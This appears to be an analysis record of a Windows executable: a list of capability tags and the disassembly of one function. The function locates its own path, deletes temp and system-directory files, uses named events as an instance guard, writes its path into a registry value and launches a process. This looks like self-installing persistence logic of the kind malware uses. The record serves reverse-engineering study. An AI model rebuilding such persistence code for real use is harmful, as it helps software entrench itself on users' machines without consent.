Function at 0x4015f0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
mov eax, 0x1c4c
call fcn.0041a100
mov eax, dword [0x437c24]
xor eax, esp
mov dword [esp + 0x1c44], eax
push ebx
push ebp
push esi
push edi
push 0x206
xor ebp, ebp
lea ecx, [esp + 0x826]
xor eax, eax
push ebp
push ecx
mov word [esp + 0x82c], ax
call fcn.00417c50
add esp, 0xc
push 0x206
lea eax, [esp + 0x124e]
xor edx, edx
push ebp
push eax
mov word [esp + 0x1254], dx
call fcn.00417c50
add esp, 0xc
push 0x206
lea edx, [esp + 0x1046]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0x104c], cx
call fcn.00417c50
xor eax, eax
add esp, 0xc
push 0x7e
lea edx, [esp + 0x7a6]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0x66c], ax
mov dword [esp + 0x66e], eax
mov dword [esp + 0x672], eax
mov dword [esp + 0x676], eax
mov dword [esp + 0x67a], eax
mov dword [esp + 0x67e], eax
mov dword [esp + 0x682], eax
mov dword [esp + 0x686], eax
mov word [esp + 0x68a], ax
mov word [esp + 0x7ac], cx
call fcn.00417c50
add esp, 0xc
push 0x7e
lea ecx, [esp + 0x726]
xor eax, eax
push ebp
push ecx
mov word [esp + 0x72c], ax
call fcn.00417c50
add esp, 0xc
push 0x7e
lea eax, [esp + 0x6a6]
xor edx, edx
push ebp
push eax
mov word [esp + 0x6ac], dx
call fcn.00417c50
add esp, 0xc
push 0x206
lea edx, [esp + 0xc36]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0xc3c], cx
call fcn.00417c50
add esp, 0xc
xor eax, eax
mov word [esp + 0x680], ax
mov dword [esp + 0x682], eax
mov dword [esp + 0x686], eax
mov dword [esp + 0x68a], eax
mov dword [esp + 0x68e], eax
mov dword [esp + 0x692], eax
mov dword [esp + 0x696], eax
mov dword [esp + 0x69a], eax
mov word [esp + 0x69e], ax
push 0x200
lea ecx, [esp + 0x2c]
push ebp
push ecx
mov dword [esp + 0x28], ebp
call fcn.00417c50
add esp, 0xc
push 1
lea edi, [esp + 0x2c]
call fcn.00406cf0
add esp, 4
push ebp
lea edi, [esp + 0x464]
mov dword [esp + 0x24], eax
call fcn.00406cf0
add esp, 4
push 0x104
lea edx, [esp + 0x124c]
push edx
push ebp
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x820]
push eax
push 0x104
call ebx
push 0x432cac
lea ecx, [esp + 0x824]
push 0x104
push ecx
call fcn.004157f4
lea eax, [esp + 0x82c]
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x4017f5
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
sub eax, edx
sar eax, 1
je 0x40182b
lea edx, [esp + 0x820]
push edx
call esi
cmp eax, 0xffffffff
je 0x40182b
lea eax, [esp + 0x820]
push eax
call edi
cmp dword [esp + 0x20], ebp
je 0x401aeb
lea ecx, [esp + 0x820]
push ecx
push 0x104
call ebx
lea edx, [esp + 0x1b0]
push edx
lea eax, [esp + 0x824]
push 0x104
push eax
call fcn.004157f4
add esp, 0xc
push 0x432cf4
lea ecx, [esp + 0x824]
push 0x104
push ecx
call fcn.004157f4
lea eax, [esp + 0x82c]
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401885
sub eax, edx
sar eax, 1
je 0x4018ec
lea edx, [esp + 0x820]
push edx
call esi
cmp eax, 0xffffffff
je 0x4018ec
xor eax, eax
jmp 0x4018b0
movzx ecx, word [esp + eax + 0x1b0]
mov word [esp + eax + 0x228], cx
add eax, 2
test cx, cx
jne 0x4018b0
push 0x432d00
lea eax, [esp + 0x22c]
push 0x104
push eax
call fcn.004157f4
add esp, 0xc
lea ecx, [esp + 0x820]
push ecx
call edi
lea edx, [esp + 0x1d0]
push edx
lea eax, [esp + 0x664]
push 0x10
push eax
call fcn.00415871
add esp, 0xc
lea edi, [esp + 0x820]
lea esi, [esp + 0x1d0]
call fcn.00403f20
call fcn.00401450
cmp eax, 1
jne 0x40192a
xor eax, eax
jmp 0x402094
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0xa32]
push edx
mov word [esp + 0xa34], cx
call fcn.00417c50
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xe42]
push ecx
mov word [esp + 0xe44], ax
call fcn.00417c50
add esp, 0xc
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x1d0]
mov word [esp + eax + 0xa28], cx
add eax, 2
test cx, cx
jne 0x401970
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x1d0]
mov word [esp + eax + 0xe38], cx
add eax, 2
test cx, cx
jne 0x401990
lea eax, [esp + 0xe38]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4019b2
mov edx, dword [0x432d60]
mov ecx, dword [0x432d64]
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [eax], edx
mov edx, dword [0x432d68]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
lea eax, [esp + 0xa28]
push eax
push 0
push 0x20000
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x401a5b
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
lea ecx, [esp + 0xe38]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea edx, [esp + 0xa28]
push edx
xor esi, esi
push esi
push 0x20000
call edi
test eax, eax
je 0x401a55
lea esp, [esp]
cmp esi, 5
jge 0x401a55
push eax
call ebx
push 0x1f4
inc esi
call ebp
lea eax, [esp + 0xa28]
push eax
push 0
push 0x20000
call edi
test eax, eax
jne 0x401a30
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x3e8
call ebp
lea ecx, [esp + 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x401a80
movzx ecx, word [esp + eax + 0xae]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x401a80
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x2c]
mov word [esp + eax + 0x720], cx
add eax, 2
test cx, cx
jne 0x401aa0
movzx ebp, word [esp + 0xac]
xor eax, eax
nop
movzx ecx, word [esp + eax + 0xce]
mov word [esp + eax + 0x6a0], cx
add eax, 2
test cx, cx
jne 0x401ac0
lea edx, [esp + 0x1b0]
lea eax, [esp + 0x680]
jmp 0x401b84
cmp dword [0x438f90], 3
jne 0x401b90
push 0x236
lea ecx, [esp + 0x22c]
push 0
push ecx
call fcn.00417c50
add esp, 0xc
lea esi, [esp + 0x228]
call fcn.00404780
mov dword [esp + 0x1c], eax
test eax, eax
je 0x401b90
xor eax, eax
jmp 0x401b30
movzx ecx, word [esp + eax + 0x336]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x401b30
mov ecx, dword [esp + 0x32e]
lea esi, [esp + 0x720]
call fcn.00403b90
mov ecx, dword [esp + 0x328]
movzx ebp, word [esp + 0x332]
lea esi, [esp + 0x6a0]
call fcn.00403b90
lea edx, [esp + 0x356]
lea eax, [esp + 0x660]
push edx
push 0x10
push eax
call fcn.00415871
add esp, 0xc
mov edi, dword [esp + 0x24]
test edi, edi
je 0x401c90
xor eax, eax
mov edi, edi
movzx ecx, word [esp + eax + 0x4e6]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x401ba0
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x464]
mov word [esp + eax + 0x720], cx
add eax, 2
test cx, cx
jne 0x401bc0
movzx ebp, word [esp + 0x4e4]
xor eax, eax
jmp 0x401bf0
movzx ecx, word [eax + 0x432db8]
mov word [esp + eax + 0x6a0], cx
add eax, 2
test cx, cx
jne 0x401bf0
cmp dword [0x438f90], 3
je 0x401c21
lea ecx, [esp + 0xc30]
push ecx
push 0x104
call ebx
jmp 0x401c4e
push 0x104
lea edx, [esp + 0xc34]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x432bf8
lea eax, [esp + 0xc34]
push 0x104
push eax
call fcn.004157f4
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0xc30]
mov word [esp + eax + 0x1040], cx
add eax, 2
test cx, cx
jne 0x401c50
push 0x432dd4
lea ecx, [esp + 0x1044]
push 0x104
push ecx
call fcn.004157f4
add esp, 0xc
lea edx, [esp + 0x1040]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.00417c50
mov esi, 0x504d534d
mov ecx, 0x51
add esp, 0xc
mov dword [esp + 0x28], esi
mov word [esp + 0xac], cx
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x432dec]
mov word [esp + eax + 0x2c], cx
add eax, 2
test cx, cx
jne 0x401cc0
mov edx, 0x2b66
mov word [esp + 0x14e], dx
xor eax, eax
jmp 0x401cf0
movzx ecx, word [eax + 0x432e08]
mov word [esp + eax + 0xce], cx
add eax, 2
test cx, cx
jne 0x401cf0
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x432e24]
mov word [esp + eax + 0xae], cx
add eax, 2
test cx, cx
jne 0x401d10
cmp dword [esp + 0x20], 0
mov ebx, 5
mov dword [esp + 0x1f0], ebx
jne 0x401d45
cmp dword [esp + 0x1c], 0
jne 0x401d45
test edi, edi
je 0x401d98
lea eax, [esp + 0x7a0]
push eax
lea ecx, [esp + 0xb2]
push 0x10
push ecx
call fcn.00415871
add esp, 0xc
lea edx, [esp + 0x720]
push edx
lea eax, [esp + 0x30]
push 0x40
push eax
call fcn.00415871
add esp, 0xc
lea ecx, [esp + 0x6a0]
push ecx
lea edx, [esp + 0xd2]
push 0x40
push edx
mov word [esp + 0xb8], bp
call fcn.00415871
add esp, 0xc
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [eax + 0x432e30]
mov word [esp + eax + 0xae], cx
add eax, 2
test cx, cx
jne 0x401da0
mov eax, 0x55
mov ecx, 0x2c24
mov word [esp + 0xac], ax
mov dword [esp + 0x1f0], ebx
mov word [esp + 0x14e], cx
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [eax + 0x432e3c]
mov word [esp + eax + 0x2c], cx
add eax, 2
test cx, cx
jne 0x401de0
cmp word [esp + 0x2c], cx
je 0x40208f
cmp word [esp + 0xac], cx
jbe 0x40208f
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00416308
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [esp + 0x145a]
push eax
mov word [esp + 0x145c], dx
call fcn.00417c50
add esp, 0xc
cmp word [esp + 0x150], 0
jne 0x401e75
lea ecx, [esp + 0x1450]
push ecx
call fcn.00403530
add esp, 4
lea edx, [esp + 0x1450]
push edx
lea eax, [esp + 0x154]
push 0x10
push eax
call fcn.00415871
add esp, 0xc
cmp word [esp + 0x170], 0
jne 0x401eaa
lea ecx, [esp + 0x1450]
push ecx
call fcn.00403530
add esp, 4
lea edx, [esp + 0x1450]
push edx
lea eax, [esp + 0x174]
push 0x10
push eax
call fcn.00415871
add esp, 0xc
cmp word [esp + 0x1b0], 0
jne 0x401edf
lea ecx, [esp + 0x1450]
push ecx
call fcn.00403530
add esp, 4
lea edx, [esp + 0x1450]
push edx
lea eax, [esp + 0x1b4]
push 0x10
push eax
call fcn.00415871
add esp, 0xc
cmp word [esp + 0x1d0], 0
jne 0x401f4b
lea ecx, [esp + 0x1450]
push ecx
call fcn.00403530
add esp, 4
lea edx, [esp + 0x1450]
push edx
lea eax, [esp + 0x1d4]
push 0x10
push eax
call fcn.00415871
lea eax, [esp + 0x66c]
add esp, 0xc
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401f20
sub eax, edx
sar eax, 1
je 0x401f4b
lea ecx, [esp + 0x660]
push ecx
lea edx, [esp + 0x1d4]
push 0x10
push edx
call fcn.00415871
add esp, 0xc
lea eax, [esp + 0x680]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401f55
sub eax, edx
sar eax, 1
je 0x401f80
lea eax, [esp + 0x680]
push eax
lea ecx, [esp + 0x194]
push 0x10
push ecx
call fcn.00415871
add esp, 0xc
cmp word [esp + 0x190], 0
jne 0x401fb5
lea edx, [esp + 0x1450]
push edx
call fcn.00403530
add esp, 4
lea eax, [esp + 0x1450]
push eax
lea ecx, [esp + 0x194]
push 0x10
push ecx
call fcn.00415871
add esp, 0xc
cmp dword [esp + 0x1f0], 0
mov dword [esp + 0x1f4], 0x10001e2
jne 0x401fd1
mov dword [esp + 0x1f0], ebx
lea edx, [esp + 0x28]
push edx
call fcn.00406da0
add esp, 4
test eax, eax
je 0x40208f
lea edi, [esp + 0x820]
lea esi, [esp + 0x1d0]
call fcn.00403f20
mov eax, edi
push eax
lea eax, [esp + 0x124c]
call fcn.00401520
add esp, 4
lea ecx, [esp + 0x18]
push ecx
push 3
push 0
push 0x432ec8
push connect
mov dword [esp + 0x2c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402074
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402035
mov ecx, dword [esp + 0x18]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
push edx
lea eax, [esp + 0x824]
push eax
push 1
push 0
push 0x432f34
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402074
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x432f3c
lea eax, [esp + 0x82c]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, 1
mov ecx, dword [esp + 0x1c54]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004155fc
add esp, 0x1c4c
ret